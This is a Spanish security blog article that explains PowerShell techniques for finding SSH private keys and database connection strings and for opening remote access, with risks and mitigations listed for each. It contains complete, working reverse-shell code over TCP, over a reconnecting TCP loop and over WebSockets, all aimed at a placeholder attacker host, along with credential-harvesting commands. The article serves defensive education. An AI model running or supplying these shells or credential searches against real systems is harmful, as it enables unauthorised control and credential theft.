# Técnicas de Exfiltración, Acceso No Autorizado y Reverse Shells en PowerShell: Análisis y Medidas de Defensa

- Link: https://binariocero.com/windows/tecnicas-de-exfiltracion-acceso-no-autorizado-y-reverse-shells-en-powershell-analisis-y-medidas-de-defensa
- Published: 2025-12-10T14:33:19+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

PowerShell continúa siendo una de las herramientas más versátiles en el ecosistema
Windows. Su capacidad para trabajar con archivos, redes, sockets, WebSockets y realizar
operaciones avanzadas la convierten en una herramienta especialmente atractiva tanto
para administradores como para actores maliciosos.

Este artículo analiza varias técnicas orientadas a la extracción de claves, lectura
de credenciales y establecimiento de reverse shells, explicando cómo funcionan y
cómo proteger los sistemas frente a ellas.

## 1. Búsqueda de claves SSH en directorios de usuarios

**Ejemplo:**

    ```wp-block-code
    Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
    ```

Este comando busca claves privadas SSH almacenadas en los perfiles de usuario de
Windows, normalmente usadas por soluciones como Git, WSL o clientes SSH instalados
manualmente.

**Riesgos**

 * La clave SSH privada puede conceder acceso directo a servidores remotos.
 * La presencia de claves sin passphrase incrementa el riesgo de compromiso.
 * Un atacante con acceso local puede exfiltrar claves para uso posterior.

**Mitigación**

 * Aplicar políticas corporativas para el uso de claves SSH con passphrase.
 * Utilizar agentes de credenciales seguros (por ejemplo, `ssh-agent`).
 * Revisar el contenido del directorio `.ssh` en auditorías periódicas.
 * Implementar EDR capaz de detectar accesos anómalos a archivos sensibles.

## 2. Búsqueda de cadenas de conexión en archivos de aplicaciones

**Ejemplo:**

    ```wp-block-code
    Select-String -Path C:\inetpub\wwwroot\*.config -Pattern 'connectionString' -CaseSensitive
    ```

Las aplicaciones web en IIS suelen almacenar cadenas de conexión a bases de datos
en archivos `.config`. En algunos casos, estas cadenas incluyen usuarios y contraseñas
directamente en texto claro.

**Riesgos**

 * Posible acceso no autorizado a bases de datos.
 * Exposición de credenciales privilegiadas usadas por aplicaciones críticas.
 * Movimientos laterales dentro del entorno SQL o servicios vinculados.

**Mitigación**

 * Prohibir el uso de credenciales en texto plano mediante políticas de desarrollo.
 * Utilizar vaults de secretos: Key Vault, Secrets Manager o sistemas internos.
 * Cifrar secciones de configuración con `aspnet_regiis`.
 * Auditar periódicamente archivos de configuración sensibles.

## 3. Reverse Shell PowerShell simple mediante TCP

**Ejemplo :**

    ```wp-block-code
    $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
    $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
    $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
    $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()}; $client.Close()
    ```

Este script establece una conexión saliente a un servidor remoto controlado por 
un atacante, permitiendo la ejecución de comandos desde el exterior.

**Riesgos**

 * Permite control remoto no autorizado del sistema.
 * Suele evadir firewalls si usa puertos comunes (443, 80).
 * Evade antivirus básicos al usar solo funcionalidades nativas del sistema.

**Mitigación**

 * Monitorizar conexiones salientes inusuales desde PowerShell.
 * Restringir ejecución de scripts con políticas de seguridad (AppLocker, WDAC).
 * Utilizar EDR para detectar comportamiento de ejecución remota dinámico.
 * Bloquear tráfico saliente hacia direcciones no corporativas.

## 4. Reverse Shell basado en reintentos y persistencia (reconnect loop)

**Ejemplo :**

    ```wp-block-code
    while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port);
    $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
    $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
    $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
    ```

A diferencia del reverse shell simple, este implementa **reconexión automática**,
lo que lo hace mucho más resistente a reinicios de conexión o bloqueos temporales.

**Riesgos**

 * Mayor resiliencia frente a interrupciones.
 * Permite control persistente incluso tras fallos momentáneos de red.
 * El bucle infinito puede consumir recursos sin levantar sospechas inmediatas.

**Mitigación**

 * Detectar bucles de conexión recurrentes con EDR o Sysmon.
 * Establecer reglas de firewall que bloqueen conexiones salientes no aprobadas.
 * Restringir el uso de `System.Net.Sockets` en políticas de ejecución avanzadas.
 * Supervisar procesos de PowerShell de larga ejecución.

## 5. Reverse Shell mediante WebSockets

**Ejemplo :**

    ```wp-block-code
    $ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object
    System.Uri("ws://attacker_ip:attacker_port"); $ClientWebSocket.ConnectAsync($uri, $null).Result;
    $buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received =
    $ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command =
    [System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 |
    Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output);
    $ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
    ```

El uso de WebSockets para reverse shells es especialmente sigiloso, ya que puede
evadir controles de red tradicionales, que no analizan de forma profunda este tipo
de tráfico.

**Riesgos**

 * Difícil de detectar con firewalls tradicionales.
 * El tráfico WebSocket puede pasar por proxys sin inspección profunda.
 * Uso creciente en malware fileless y C2 avanzados.

**Mitigación**

 * Monitorizar el uso de WebSockets en endpoints mediante EDR.
 * Implementar inspección de tráfico WebSocket en proxys corporativos.
 * Restringir el uso de `System.Net.WebSockets` mediante políticas avanzadas.
 * Registrar eventos detallados de PowerShell (Script Block Logging + Sysmon).

# Conclusión

Las técnicas analizadas muestran cómo PowerShell puede emplearse para extraer claves
sensibles, localizar credenciales en archivos, y establecer canales remotos de control
mediante reverse shells. Dado que estas técnicas aprovechan capacidades legítimas
del propio sistema, su detección y mitigación requieren una aproximación integral.